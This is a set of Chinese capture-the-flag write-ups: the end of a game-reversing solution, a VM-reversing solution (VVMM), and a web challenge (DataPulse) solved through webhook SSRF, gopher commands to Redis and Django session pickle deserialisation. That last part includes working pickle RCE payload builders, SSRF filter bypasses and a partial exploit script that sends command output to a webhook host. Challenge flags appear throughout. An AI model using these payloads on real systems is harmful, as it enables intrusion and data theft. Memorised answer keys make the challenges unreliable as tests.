5.2 每次点击的原生流程(0x481B202)
nonce_k = SHA256(0x03 ‖ engine[32] ‖ u64(k))[0:16] # 0x481AD54
engine = SHA256(0x01 ‖ engine[32] ‖ u64(k) ‖ cell) # 0x481AC88,counter++
f13..f16 = nonce_k
f17 = cell; f18 = 1engine 就是 32 字节的点击哈希链,最终 key 的熵全部来自这里。
注意:nonce 在更新 engine 之前算,与本次点哪一格无关——这点后面做探针时很关键。
5.3 算子
mix(x): x ^= x>>16; x *= 0x7FEB352D; x ^= x>>15; x *= 0x846CA68B; x ^= x>>16
add(a,b): (a ^ b) + 2*(a & b)
const[i]: ((i * 0x3C6EF372 + 0x6A09E667) ^ TABLE16[i]) # TABLE16 @ 0x873320常量表:c151a4c7 7feb352d 846ca68b 9e3779b9 735a2d97 a511e9b3 41c6ce57 6d2b79f5 ...
5.4 块表与块头解密
每块 21 dword:+0x00..+0x10 是 5 个头字段,+0x14..+0x50 是 8 对指令字段。
进入块时用 V 解头:
V = vm_fn_0x481B2EE(vm) # 依赖 f08/f09/环缓冲/f0B/f0C/f13..f16/f19/f1a/f1c
f051(X,i) = mix(X ^ ((i+1) * 0x9E3779B9) ^ 0xA511E9B3)
header[i] = table[block*21 + i] ^ f051(V, i) # i = 0..45.5 四轮变换(核心)
def T(x, a, b, c):
for i in range(4):
t = mix(a ^ c ^ (0x9E3779B9 * i))
x = rol((x ^ t) + rol(b, 3 + 5*i) + c, 5 + 6*i)
x = (x * (mix(b + i) | 1)) & 0xFFFFFFFF
return x其中 a = header[1]、b = header[2]、c = V,header[0] 是目标值。
乘数 mix(b+i)|1 恒为奇数,模 2³² 必有逆元,所以四轮都能倒着走:
def Tinv(y, a, b, c):
for i in reversed(range(4)):
t = mix(a ^ c ^ (0x9E3779B9 * i))
x = (y * pow(mix(b + i) | 1, -1, 1 << 32)) & 0xFFFFFFFF
x = ror(x, 5 + 6*i)
x = (x - rol(b, 3 + 5*i) - c) & 0xFFFFFFFF
y = x ^ t
return y5.6 第一块实测(校验点)
block = 444 (0x1BC)
V = 0x6FEF75EB
header = A0D88FB7 9C1AB9CA D2AB1B9D 00000011 0000009F
Tinv → x = 0xDB5A14A50xDB5A14A5 按低→高拆半字节:5, A, 4, 1, A, 5, B, D
→ 前 8 下点击 5, 10, 4, 1, 10, 5, 11, 13 ✔
6. 求解:为什么必须"边跑边解"
- 块号不是顺序的:每块 8 步结束时
f08 = (f11 或 f12) % 501,是数据驱动的链表; - 块头解密密钥
V依赖本次点击产生的f19/f1a/f1c(即 wasm 算出的摘要); - 因此纯静态读表不够,必须让原生 VM + 真 WASM 一起跑。
做法(frida 在游戏进程里 Memory.alloc 一个全新 VM/engine,wasmtime 加载 p.wasm,e.q 桥接原生):
seq = []
while len(seq) < 3941:
blk = rd(8) & 0xFFFFFFFF
n = min(8, 3941 - len(seq))
# —— 探针:只为拿 V ——
snap = E.snap()
E.submit(0) # nonce 与格子无关,随便点
r2 = E.q(0x246D, 0) & 0xFFFFFFFF
h1, h2 = h1h2(wasm_mem[1040:1064], r2)
E.wr(0x19, h1); E.wr(0x1A, h2) # V 依赖 f19/f1a,必须写回
V = E.v() & 0xFFFFFFFF
E.restore(snap)
# —— 解块 ——
hdr = [(TBL[blk][i] ^ f051(V, i)) & 0xFFFFFFFF for i in range(5)]
x = Tinv(hdr[0], hdr[1], hdr[2], V)
cells = [(x >> (4*k)) & 0xF for k in range(n)]
# —— 真跑这 8 下 ——
for c in cells:
E.submit(c)
wasm_a(c) # 真 WASM,q 转发给原生
seq += cells跑完 f09 = 3941、f18 = 0。完整序列见 sequence.json / clicks.json。
7. 终局:KDF 与解密
7.1 key / iv
完成态取 c(0..31) 与 engine 32 字节终态 S:
digest = SHA256(0x02 ‖ S[32] ‖ u64(3941) ‖ c[32]) # 0x481AE08,73 字节
key = digest[0:16]
iv = digest[16:32]实测:
S = f61e17d714b7f19b9c733cb5b178ed74f168f197f5575e862c926bee20c90628
c = 04 e6 e9 fa 5e 20 e4 b2 1b 82 51 1f 1d d9 d8 5e
34 df 2e a0 90 c3 12 55 8c ee fe 4f f5 66 d5 06
key = edf0907855a7dbcc5cb49787776133cd
iv = 9a442b32986c690af07213508ae6c5ee(iv 恰好是同一个 digest 的后 16 字节。)
7.2 密文与校验
0x869020, 48 B:
175a6359a5624705 e5c963e137af2a75
0dee0750ebfca5d8 2d9efaa5df79d066
2cdc50c416c89f78 9ca76729ce40840e解密后 34 字节,再做 FNV-1a-64:
FNV1a64(plain[:34]) == 0xD59091F3EE56F409⚠️ 实测提醒:二进制里虽有标准 S-box / 逆 S-box(
0x6DAD40/0x6DBE40),
但没有 Rcon 表,密钥扩展是改写过的;直接用 pycryptodome 的AES-128-CBC(key, iv)
解这 48 字节得不到正确明文。稳妥做法是调用/重放原生0x4819EC0
(内部:0x48198A5密钥扩展 →0x48199E9解密 →0x4819EC0FNV 校验)。
7.3 Flag
flag{WuTher1ng_Waves_ch1Sak1_6666}8. 复现清单
- 解
main.obb.png(ZIP)→ IoStore/pak →CTFGame/Content/Data/p.bin; - XTEA-CBC(key
qianqiandexiao99)→p.wasm; - 打补丁:
libUnreal.so文件偏移0x481630D写31 C0 C3,推回设备; - MuMu(GLES 3.2)起游戏,frida-server attach;
- 跑 §6 脚本 → 3941 个格号;
- 完成态取
S与c(0..31)→key/iv; - 调原生
0x4819EC0解密 + FNV 校验 → flag。
依赖:frida、wasmtime、pyelftools、capstone。
9. 踩坑记录
- "游戏不校验"不等于"序列随便":任意 3941 下都能走到完成态,但 key 由点击序列唯一决定,
序列错了 AES 解出来就是垃圾,只有 FNV 能判真伪。 f13..f16是 nonce:SHA256(0x03‖engine‖counter),与"点哪一格"无关。- 探针必须写
f19/f1a再读V:否则块头解错,会得到"自洽但错误"的序列。 - 别用标准 AES 库硬解:本题 AES 是改写过的(缺 Rcon),必须走原生例程。
- 第一块不是 block 0,而是
f08 = 0x1BC = 444。
VVMM Writeup
题目:VVMM
附件:VVMM.zip→VVMM.exe(PE32+ x86-64,47,616 字节,SHA-25688722C97…1BE2B5B)
题面:一层难后一重关,恢复 VM 找到藏在其中最美丽的姑娘
结果:flag{J1nxI_i5_4_6eautiful_g1rl}
0. TL;DR
附件是一个自带反汇编器/调试报告的自定义寄存器虚拟机(VMC2)。VM 程序对 31 字节输入做
8 轮逐字节 ARX + 非线性代换,最后把 31 字节内存与常量逐一比较。
关键不在爆破,而在三件事:
- 从执行器里抠出精确语义——内存是字节数组、
ROLI/RORI只转低 8 位、STAGE是个带
murmur 哈希的 8 位代换、内存初值不是 0 而是固定模式; - 确认每轮每个字节在已知相邻字节时是双射,可以从 31 个比较常量逐轮反推;
- 写一个和原程序逐位对齐的模拟器,用
--run的acc/pc/steps做差分验证,再逐轮求逆。
最终 31 字节全部可打印,--check 返回 accepted。
1. 初步观察
> VVMM.exe --layout
vm container : VMC2 / multi-entry encrypted bytecode
vm blob bytes : 20016
entries : 2
program bytes : 19696
instructions : 2462
registers : 8 x u32
memory : 128 bytes
rounds : 7 global rounds
> VVMM.exe --help
%s launch the VM console
%s --shell launch the VM console
%s --check <candidate> verify one candidate
%s --run <candidate> execute the VM with a report
%s --interactive prompt for one candidate
%s --disasm [count] disassemble decoded bytecode
%s --layout print VM image information
%s --bof enter the BOF laboratory mode--check 对任意候选给 accepted / rejected;--run 额外打印steps / pc / acc / zero / halt,这组数字后来成了差分验证的金标准。
> VVMM.exe --check test
rejected
> VVMM.exe --run test
[vm] REJECT
[vm] steps=3 pc=0x4ce8 acc=0x00 zero=0 halt=0xf1steps=3 说明 test 只跑了前 3 条指令:MAGIC、LEN、JNZ——长度检查在 0x1f(31)。
换成 31 个 A:
> VVMM.exe --run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[vm] REJECT
[vm] steps=2370 pc=0x4ce8 acc=0x50 zero=0 halt=0xf1跑到第 2370 步才在第一条比较处失败,说明主体逻辑是一条直路(无循环),失败下标可由steps 反推。
--disasm 直接吐出完整字节码:
[vm] decoded instructions: 2462/2462
0000 MAGIC r0 r0 00 imm=0xc0def00d
0008 LEN r0 r0 00 imm=0x0000001f
0010 JNZ r0 r0 00 imm=0x0000099a target=0x4ce8
0018 LDB r0 r0 00 imm=0x00000000 index=0
0020 XORI r0 r0 00 imm=0x000000fb
0028 ADDI r0 r0 00 imm=0x0000006a
0030 ROLI r0 r0 00 imm=0x00000004
0038 STAGE r0 r0 00 imm=0x00000000
0040 STM r0 r0 00 imm=0x00000000 index=0
...
4a00 LDM r0 r0 00 imm=0x00000000 index=0
4a08 CMPI8 r0 r0 00 imm=0x000000fd
4a10 JNZ r0 r0 00 imm=0x0000005b target=0x4ce8
...
4cc8 LDM r0 r0 00 imm=0x0000001e index=30
4cd0 CMPI8 r0 r0 00 imm=0x0000002a
4cd8 JNZ r0 r0 00 imm=0x00000001 target=0x4ce8
4ce0 OK r0 r0 00 imm=0x00000000
4ce8 FAIL r0 r0 00 imm=0x00000000指令统计:
助记符 | 条数 | 助记符 | 条数 |
LDM | 682 | ADDR | 217 |
ADDI | 248 | XORR | 217 |
ROLI | 248 | MOVI | 75 |
STAGE | 248 | XORI | 62 |
STM | 248 | NOP/RORI | 44 / 44 |
JNZ | 32 | MULI | 31 |
CMPI8 | 31 | LDB | 31 |
248 = 8 × 31、217 = 7 × 31、LDB = 31 已经把结构点明了:1 段读入 + 7 轮混合,每轮 31 字节。
2. 定位 VM 执行器
原生代码去符号,但可以用字符串交叉引用定位关键函数(objdump -d -M intel):
地址 | 作用 |
|
|
| VMC2 容器解码(密文 → 栈上指令流) |
|
|
| VM 执行器(跳表 |
|
|
执行器入口的指令循环(简化):
1400034e8 lea rcx,[rbp+0x90] ; 解码目标缓冲
1400034ef mov rsi,rdx ; rsi = 候选串长度(见下)
1400034f2 mov rdi,r8 ; rdi = 结果结构体
1400034f5 call 0x140002940 ; 解出 8 字节定长指令流
...
140003720 mov rax,r11
140003723 add r10,1 ; steps++
14000372a mov [rbp+0x80],r10
14000372e ...
140003737 movzx eax,BYTE PTR [rbp+r9+0x90] ; opcode = code[pc]
140003740 cmp al,0x51
140003742 ja 0x1400039a5 ; >0x51:OK(0xF0)/FAIL(0xF1)
140003748 movsxd rax,DWORD PTR [r8+rax*4] ; 相对偏移跳表
14000374c mov ecx,DWORD PTR [rbp+r9+0x94] ; imm32
140003754 movzx edx,BYTE PTR [rbp+r9+0x91] ; rd
14000375d movzx r12d,BYTE PTR [rbp+r9+0x92] ; rs
140003766 add rax,r8
140003769 and edx,7
14000376c and r12d,7
140003770 jmp rax指令格式:opcode(1) | rd(1) | rs(1) | 保留(1) | imm32(4),共 8 字节。pc 就是指令流字节偏移,r9 += 8 前进;JNZ/JMP 的 imm 是指令条数偏移:target = pc + 8 + imm*8。
结果结构体(rdi):
偏移 | 字段 |
| 指令流总字节数 |
| 指令条数 |
| steps |
| pc |
| acc = |
| zero(最近一次比较是否相等) |
| halt(正常 0,非法/失败 0xf1,OK 0xf0) |
acc恰好是「停机瞬间regs[0]的低字节」,这让它成为一个极强的差分 oracle。
3. 精确 ISA(从 handler 读出来的,不是猜的)
寄存器 regs[8] 为 u32([rbp-0x40 + 4*idx]);内存 mem[128] 是字节数组
([rbp-0x20 + idx],下标 imm & 0x7f)。
opcode | 名称 | 语义 |
| NOP | 前进 |
| MAGIC | 前进(容器头校验在解码阶段, |
| LEN |
|
| LDB |
|
| LDM |
|
| STM |
|
| MOVI |
|
| XORI |
|
| ADDI |
|
| MULI |
|
| ROLI |
|
| RORI | 同上,方向为右 |
| XORR |
|
| ADDR |
|
| STAGE | 8 位代换(见 §3.2) |
| CMPI8 |
|
| CMPI32 |
|
| JNZ |
|
| JMP | 无条件跳 |
| OK | 停机,返回 ACCEPT(halt=0xf0) |
| FAIL | 停机,返回 REJECT(halt=0xf1) |
两个最容易踩坑的点:
; ROLI/RORI:只旋转低 8 位,高 24 位保留
14000395e mov r12d,[rbp+rdx*4-0x40]
140003966 mov eax,r12d
140003969 rol al,cl ; 8 位旋转
14000396b jmp 0x14000377f
14000377f mov ecx,r12d
140003782 movzx eax,al
140003785 xor cl,cl ; 清掉低字节
140003787 or eax,ecx ; 拼回高 24 位; STM:只存低字节;LDM:按字节读
1400038a5 mov eax,[rbp+rdx*4-0x40]
1400038a9 mov BYTE PTR [rbp+rcx*1-0x20],al
1400038bc movzx eax,BYTE PTR [rbp+rcx*1-0x20]3.1 LEN / LDB 的长度来自哪里
执行器调用约定是 execute(candidate, strlen(candidate), &result)(包装函数先求长度再传入),
所以 rsi 在 LEN/LDB 里就是候选串长度:
140003853 cmp rcx,rsi
140003856 sete BYTE PTR [rbp+0x60] ; LEN
1400038cc cmp rcx,rsi ; LDB
1400038cf jae 0x1400038d5
1400038d1 movzx eax,BYTE PTR [rbx+rcx*1]3.2 STAGE:藏在“登记/审计”外衣下的 8 位代换
STAGE 的 handler(0x1400038e5)会调用 0x140002d10(imm, (u8)regs[rd]) 并把返回值写回regs[rd]。0x140002ce0 是一个 murmur3 finalizer 风格的哈希:
static uint32_t H(uint32_t imm) {
uint32_t e = 0xa5u + 0x6d2b79f5u; /* = 0x6d2b829a */
e ^= imm * 0x9e3779b9u;
e ^= e >> 16;
e *= 0x85ebca6bu;
e ^= e >> 13;
e *= 0xc2b2ae35u;
e ^= e >> 16;
return e;
}
static uint8_t stage_op(uint32_t imm, uint8_t b) {
uint32_t h = H(imm);
uint32_t cl = 3u * imm + 1u;
uint32_t t = (uint32_t)b ^ h; /* 32 位 */
uint8_t lo = rol8(t & 0xff, cl); /* 只转低字节 */
t = (t & 0xffffff00u) | lo;
uint32_t eax = t + 0x31u * imm + 0x42u;
uint32_t edx = (h & 0xffffff00u) | ((h & 0xffu) >> 1);
return (uint8_t)(eax ^ edx);
}对固定 imm,这是 256 个字节上的双射(异或常量、8 位循环移位、加常量、再异或常量)。
它对每个位置给出一张不同的 S-box,所以不能当成线性变换整体求逆,必须按 S-box 反查。
3.3 内存初值不是 0
执行器先把 128 字节清零,随后在 0x1400035f0 用 SIMD 循环把整块内存重写成固定模式:
x → 3x(两次 paddb)→ 48x(四次自加)→ 49x
+0x17
^0xa5即
for (int j = 0; j < 128; j++)
mem[j] = (uint8_t)(((49*j + 0x17) & 0xff) ^ 0xa5);这是第一版模拟器对不上的根因:
mem[31..127]从不被STM写,一直是这个模式;
而后续轮次会读到mem[31..37](i+7越界)。
4. 程序结构
4.1 第 1 段:逐字节装载/置换(stage 0x00–0x1E)
每个字节 i:
reg = input[i]
reg ^= k1[i]
reg += k2[i]
reg = rol8(reg, k3[i])
reg = stage_op(i, reg)
mem[i] = regk1/k2/k3 常量表(31 行,来自 disasm_full.txt):
i | k1 | k2 | k3 | i | k1 | k2 | k3 |
0 | fb | 6a | 4 | 16 | db | da | 4 |
1 | b7 | 94 | 1 | 17 | 97 | 64 | 1 |
2 | 53 | c4 | 6 | 18 | 33 | f4 | 6 |
3 | 2f | fa | 3 | 19 | 6f | 8a | 3 |
4 | fb | 36 | 8 | 20 | 9b | 26 | 8 |
5 | af | 78 | 5 | 21 | ef | c8 | 5 |
6 | e3 | c0 | 2 | 22 | 23 | 70 | 2 |
7 | 27 | 0e | 7 | 23 | 67 | 1e | 7 |
8 | 6b | 62 | 4 | 24 | ab | d2 | 4 |
9 | 97 | bc | 1 | 25 | 77 | 8c | 1 |
10 | d3 | 1c | 6 | 26 | 33 | 4c | 6 |
11 | 3f | 82 | 3 | 27 | df | 12 | 3 |
12 | 8b | ee | 8 | 28 | 8b | de | 8 |
13 | 5f | 60 | 5 | 29 | 7f | b0 | 5 |
14 | 03 | d8 | 2 | 30 | 43 | 88 | 2 |
15 | 07 | 56 | 7 |
4.2 第 2–8 轮:31 字节就地 ARX 混合
第 r 轮(r = 2..8)对 i = 0..30 按 i 递增就地写回:
a = mem[i]; /* 本轮尚未更新 */
b = (i + 1 <= 30) ? mem[i+1] : mem[31]; /* 尚未更新 */
c = (i + 7 <= 30) ? mem[i+7] : mem[31 + (i+7-31)]; /* 尚未更新 */
t = (uint32_t)(a + b) ^ c; /* 低字节:(a+b) ^ (c&0xff) */
t = rol8(t & 0xff, rot[r][i]); /* 只关心低字节 */
s = stage_op(base[r] + i, t);
mem[i] = (uint8_t)(s + add[r][i]);参数规律(每轮 31 个块一致):
轮 | STAGE base | 加常量起点 | 旋转序列(i=0..7) |
2 | 0x40 | 0x5a | 2 7 4 1 6 3 8 5 |
3 | 0x5f | 0x8d | 5 2 7 4 1 6 3 8 |
4 | 0x7e | 0xc0 | 8 5 2 7 4 1 6 3 |
5 | 0x9d | 0xf3 | 3 8 5 2 7 4 1 6 |
6 | 0xbc | 0x26 | 6 3 8 5 2 7 4 1 |
7 | 0xdb | 0x59 | 1 6 3 8 5 2 7 4 |
8 | 0xfa | 0x8c | 4 1 6 3 8 5 2 7 |
- 旋转序列以 8 为周期:
i每 +1 加 5(模 8,0 记作 8);轮间起点按 +3 递推。 - 加常量:
add[r][i] = (0x5a + (r-2)*0x33 + i*0x11) & 0xff(轮 2 起点 0x5a,逐字节 +0x11)。
STM 只保留低字节,所以每轮输出完全由 31 个字节决定;mem[31..127] 是 §3.3 的固定模式,
只作为只读常量参与。
4.3 尾部:31 字节逐一比较
LDM i; CMPI8 const[i]; JNZ -> FAIL (i = 0..30)
OK目标字节(mem[0..30]):
fd bd 28 ce b1 91 f6 39 d7 e5 31 8e 96 d7 02 15
f0 9b 38 bd e7 cd c7 ab 89 a3 3c 29 b7 18 2a4.4 干扰代码
第 1 段每个 STM 后面还跟着一组 MOVI r1, 0x13579bdf+…; MULI r1, 0x045d9f3b; XORI r1, 0xc001d0xx,
第 2–8 轮偶尔插入 NOP / MOVI r2, 0x9e3779b9 / RORI r2, 0。这些写的是 r1/r2,后续块一律用LDM 重新赋值,属于纯死代码(对应 [audit] checkpoint= 的装饰),不影响语义——但会干扰
手工阅读和按指令数定位。
5. 求解:逐轮求逆
5.1 可逆性
- 第 1 段:每个字节独立,
xor / add / rol8 / stage全是双射; - 第 2–8 轮:块
i只读mem[i]、mem[i+1]、mem[i+7]。由于按下标递增就地写回,
下标> i的读取一定发生在它们被更新之前,即读到的是本轮输入值;下标< i的读取会
读到本轮已更新的值(等于目标状态out[j],已知)。
因此固定其它字节时,块 i 的映射 mem[i] -> out[i] 是 256 个字节上的双射,可以唯一反解。
5.2 反解步骤
- 令
state = 目标常量[0..30]; - 对轮
r = 8 → 2,轮内i = 30 → 0:
- 已知
b = mem[i+1]、c = mem[i+7](更大下标已反推完;越界取模式常量); - 对
v = 0..255令mem[i] = v,执行该块指令,命中out[i]的v即解;
- 得到第 1 段之后的 31 字节状态,再逐字节反解第 1 段的
input[i]; - 用模拟器正向跑一遍自检,
--check接受即闭环。
5.3 求解脚本(核心部分)
完整实现见同目录 vm2.py(模拟器)与 invert.py(求逆),核心逻辑:
# 每轮 31 块,块 i 的指令区间: (上一条 STM 之后, 本条 STM)
stms = [(idx, ins['imm'] & 0x7f) for idx, ins in enumerate(INS) if ins['mn'] == 'STM']
# 每 31 条 STM 组成一轮,索引恰为 0..30
def invert_round(r, out_state):
pre = [None] * 31
for bi in range(30, -1, -1):
lo, hi = block_range(r, bi)
def memget(j):
if j >= 31: return PATTERN[j] # 固定内存模式
if j < bi: return out_state[j] # 本轮已写回
if j > bi: return pre[j] # 本轮尚未写回
return pre[bi]
cand = [v for v in range(256)
if exec_block(lo, hi, memget_with(v)) == out_state[bi]]
assert len(cand) == 1
pre[bi] = cand[0]
return pre
state = TARGET[:]
for r in range(7, 0, -1): # 第 8..2 轮
state = invert_round(r, state)
inp = invert_round1(state) # 第 1 段运行结果:
$ python solve.py
flag = flag{J1nxI_i5_4_6eautiful_g1rl}
status = ACCEPT | steps = 24616. 验证
6.1 模拟器 vs 原程序(差分)
对 6 个随机 31 字节串比较 steps/pc/acc/zero,全部一致:
MATCH 4oalekmTEcdcS97tlxob}_Fi7il!fIi exe (2370, 19688, 98, 0, 241)
MATCH M9TIFz6#c!jaQs8Wvgj{ujBsdSo#sN6 exe (2370, 19688, 202, 0, 241)
MATCH f1JfwItMt7fXS{R78f8v4@4LJpx13p# exe (2370, 19688, 38, 0, 241)
MATCH n_WGySnuItP5jkYBgKeC}lON6iGj2zm exe (2370, 19688, 254, 0, 241)
MATCH Yy6}EUA!1wAMhTt{8QrqgvsiPvahlsB exe (2370, 19688, 185, 0, 241)
MATCH f3YPAWJM2OtlHJ0ZJ#oWJBMYgS4D_vW exe (2370, 19688, 5, 0, 241)acc 是停机瞬间 regs[0] 的低字节,能逐位对齐,等价于把 8 轮变换的中间状态也校准了。
6.2 逐轮快照对照
用同一个输入记录每轮结束(STM idx=30)时的 31 字节内存,再用求逆器从最终状态倒推,
第 8→2 轮逐轮与快照完全相等(diag.py)。
6.3 原程序接受
> VVMM.exe --check "flag{J1nxI_i5_4_6eautiful_g1rl}"
accepted
> VVMM.exe --run "flag{J1nxI_i5_4_6eautiful_g1rl}"
[vm] ACCEPT
[vm] steps=2460 pc=0x4ce0 acc=0x2a zero=1 halt=0xf0zero=1(31 条比较全等)、halt=0xf0(OK)、acc=0x2a(最后比较的目标值)。
7. 关于 --bof(第二关是干扰项)
--bof(0x140002860)是独立的小实验:
; 0x140002860
printf("[bof] send up to 512 bytes, then inspect the saved return address");
fread(buf /* rbp-0x30 */, 1, 0x200, stdin); ; 512 字节读进 0x30 字节栈缓冲
sum = 0;
for (i = 0; i < min(n, 0x30); i++) sum ^= buf[i];
if (sum == 0x42) printf("[bof] checksum branch reached");
else printf("[bof] normal return");- 校验和只覆盖前 ≤48 字节,
48 字节异或 = 0x42即可(如 47 个\0+0x42); - 该分支只打印一行提示,不产生任何 flag 文本;
- 溢出(>0x30 字节)会覆盖返回地址,但函数在返回前就打印完并
ret,没有win函数或
隐藏字符串(.rdata里除上表字符串外全是VMC2密文)。
所以题面的“一层难后一重关”更像是说 VM 内部的 8 轮关卡;最终结果就是 VM 接受的 31 字节。
8. 小结
- 这个 VM 的“难”不在指令多,而在语义细节反直觉:字节内存、只转低字节的 rotate、
带哈希的STAGE、非零内存初值;任何一处按“常规 VM”猜,都会得到一个能自洽却在原程序
上 REJECT 的模拟器。 - 结构是高度规则的 8×31 就地 ARX 网络,每轮每个字节对自身是双射,因此从末尾常量逐轮
反推是线性工作量,不需要 SMT/爆破。 --run的steps/pc/acc/zero是极好的验证信号:先用它把模拟器校到逐位一致,再求逆,
最后用--check闭环。
Flag:flag{J1nxI_i5_4_6eautiful_g1rl}
3. WEB:DataPulse
DataPulse 题目 Writeup
一、题目信息
- 题目名称:DataPulse
- 分类:WEB
- 难度:HARD
- 靶机:
1.14.76.59:27575(实例多次重置,端口以实际分配为准) - 目标:DataPulse Analytics Platform v2.4.1
题目描述:DataPulse 是一家数据分析公司的内部任务调度平台,员工可以提交数据处理任务并通过 Webhook 接收分析结果通知。作为安全审计团队成员,对平台进行安全评估,找出隐藏的安全隐患。
最终 flag:
DASCTF{30433301935994253763448862053766}二、功能侦察
访问首页,应用是一个数据分析任务平台,主要功能:
/register/、/login/:注册登录/dashboard/:任务面板/tasks/create/:创建分析任务(csv_analysis / statistics / aggregation)/tasks/list/:任务列表/tasks/<task_id>/:任务详情/tasks/<task_id>/retry-webhook/:重发 Webhook,可自定义 URL/tasks/<task_id>/webhook-logs/:Webhook 发送日志/api/v1/status/:健康检查/api/v1/export/:导出接口(实际为不可用的干扰项)
登录后创建任务时,webhook_url 可由用户完全控制,且 retry-webhook 接口支持传入任意 URL 并同步返回请求结果,这是典型的 SSRF 入口。
三、Webhook SSRF
3.1 URL 校验绕过
直接使用 http://127.0.0.1:PORT/ 会被拦截,日志显示:
{"error": "URL validation failed"}但校验逻辑较粗糙,只对部分字符串做黑名单。以下地址可以通过校验:
http://127.1:PORT/http://2130706433:PORT/(127.0.0.1 的十进制写法)http://127.0.0.1.nip.io:PORT/
使用 retry-webhook 接口可以同步探测:
POST /tasks/<task_id>/retry-webhook/ HTTP/1.1
Content-Type: application/json
{"url": "http://127.1:8000/api/v1/status/"}返回:
{
"message": "Webhook notification sent",
"log": {
"status_code": 200,
"response_body": "{\"service\": \"DataPulse Analytics Platform\", ...}",
"error": ""
}
}3.2 内网端口探测
通过 127.1 对内网端口进行探测,发现:
端口 | 服务 |
8000 | 应用自身(gunicorn) |
6379 | Redis(返回 |
6379 端口的存在说明存在 Redis 服务,结合平台使用 Celery 任务队列,可以确定 Redis 就是任务队列/缓存后端。
四、Gopher 打 Redis
4.1 协议支持
Webhook 后端使用 Python urllib,支持 gopher:// 协议。创建任务时虽然 file:// 被拒绝,但 gopher:// 可以通过,并且在 retry-webhook 中能够正常发起请求。
Gopher 请求格式:
gopher://127.1:6379/_<URL 编码后的原始数据>测试 PING:
gopher://127.1:6379/_PING%0d%0aWebhook 日志返回:
+PONG说明可以通过 gopher 直接与 Redis 通信,且 Redis 未设置密码(nopass,+@all)。
4.2 Redis 信息收集
Redis RESP 协议格式:
*<参数个数>\r\n
$<参数长度>\r\n<参数>\r\n
...编写一个通过 retry-webhook 发送 Redis 命令的辅助函数:
import urllib.parse
def redis_cmds(client, task_id, cmds):
payload = b""
for cmd in cmds:
payload += ("*%d\r\n" % len(cmd)).encode()
for arg in cmd:
if isinstance(arg, str):
arg = arg.encode()
payload += b"$%d\r\n%s\r\n" % (len(arg), arg)
url = "gopher://127.1:6379/_" + urllib.parse.quote(payload, safe="")
r = client.retry(task_id, url)
return r.json()["log"]["response_body"]执行 INFO 得到:
redis_version:7.0.15
executable:/app/redis-server
config_file:/etc/redis/datapulse.confKEYS * 可以看到两类关键数据:
- db0:Celery 相关键,如
celery-task-meta-*、dp:heartbeat:*、_kombu.binding.celery - db1:Django Session,如
:1:django.contrib.sessions.cache<session_id>
INFO keyspace:
db0:keys=46,expires=44
db1:keys=22,expires=224.3 Session 存储结构
当前登录 Cookie:
dp_session=<32位随机字符串>对应 Redis 键:
:1:django.contrib.sessions.cache<session_id>读取自身 Session:
SELECT 1
GET :1:django.contrib.sessions.cache<session_id>得到的值是一段 Python Pickle 数据,反序列化后为:
{"user_id": 1, "role": "analyst"}此外 Redis 中还存在 fake_admin_session_1 / fake_admin_session_2 等干扰项,内容为:
{"user_id": 819, "role": "admin", "_auth_user_hash": "fake_hash_do_not_use"}这些是题目设置的诱导项,并非真实管理员 Session。
五、Django Session Pickle 反序列化 RCE
5.1 漏洞原理
Django 的缓存 Session 后端会把整个 Session 字典用 Pickle 序列化后存入缓存(本项目为 Redis)。应用在每次请求时都会从 Redis 取出 Session 并 pickle.loads,因此只要能向 Redis 写入任意 Session 值,就能在 Web 进程中触发 Pickle 反序列化,从而执行任意命令。
由于已经可以通过 gopher 操作 Redis,攻击链为:
Webhook SSRF -> gopher -> Redis -> 篡改 Django Session -> Pickle 反序列化 -> RCE5.2 踩坑:自定义类的 Pickle 不可用
最初构造了如下 Payload:
class Evil:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Evil())这种 Payload 在本地可以执行,但在目标上无效。原因是 Pickle 中保存的是 __main__.Evil 这个类引用,目标进程的 __main__ 中没有 Evil 类,反序列化时会先报 Can't get attribute 'Evil',__reduce__ 根本不会被调用。
5.3 正确 Payload
需要直接引用目标环境中存在的全局函数,例如 os.system 或 builtins.exec。
使用 os.system 的协议 0 Payload:
def os_system_pickle(cmd: str) -> bytes:
esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
return ("cos\nsystem\n(S'" + esc + "'\ntR.").encode()等价于:
c os
system
( S'<command>'
t R .其中:
c:GLOBAL,引用os.systemS'...':压入命令字符串t:构造元组R:REDUCE,即调用os.system(command)
也可以手工构造 builtins.exec:
import struct
def exec_pickle(code: str) -> bytes:
b = code.encode()
return b"\x80\x02cbuiltins\nexec\nX" + struct.pack("<I", len(b)) + b + b"\x85R."5.4 写入 Session 并触发
步骤:
- 正常登录,获得
dp_session; - 通过 gopher 执行 Redis 命令:
SELECT 1
SET :1:django.contrib.sessions.cache<session_id> <恶意 Pickle>- 携带原 Cookie 访问任意需要 Session 的页面,例如
/dashboard/; - Django 加载 Session 时触发
pickle.loads,命令执行。
触发后页面可能返回 500(因为 Pickle 的返回值不是字典),但命令已经执行。
5.5 命令执行验证
第一次利用时,通过 os.system 执行一条向 webhook.site 回传信息的命令,确认 RCE 成功:
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/app
endpoint-1205aa8f91964e378a5fcf82f5a33376-0说明命令在 Web 应用进程中以 ctf 用户身份执行。
六、读取 Flag
执行 ls -la /,发现:
-r-------- 1 root root 41 Oct 24 00:23 flag.txt
-rwsr-xr-x 1 root root 16312 Sep 28 21:08 readflag/flag.txt 权限为 400,当前 ctf 用户无法直接读取;但根目录下存在一个 setuid 程序 /readflag,其属主为 root 且带 s 位,可以直接执行读取 flag:
/readflag通过 Session Pickle RCE 执行:
/readflag > /tmp/flag_out.txt 2>&1回传结果:
DASCTF{30433301935994253763448862053766}
EXIT:0七、完整利用脚本
以下脚本省略了注册/登录细节,核心逻辑是:登录 -> 创建带 Webhook 的任务 -> 通过 gopher 写 Session -> 触发反序列化 -> 执行 /readflag 并回传。
import base64
import pickle
import time
import urllib.parse
import requests
BASE = "http://1.14.76.59:27575"
USERNAME = "pulse12064"
PASSWORD = "Passw0rd!123"
HOOK = "https://webhook.site/<your-token>"
def os_system_pickle(cmd: str) -> bytes:
esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
return ("cos\nsystem\n(S'" + esc + "'\ntR.").encode()
class Client:
def __init__(self):
self.s = requests.Session()
self.s.headers.update({"User-Agent": "Mozilla/5.0"})
r = self.s.post(
BASE + "/login/",
json={"username": USERNAME, "password": PASSWORD},
timeout=20,
)
if r.status_code != 200:
self.s.post(
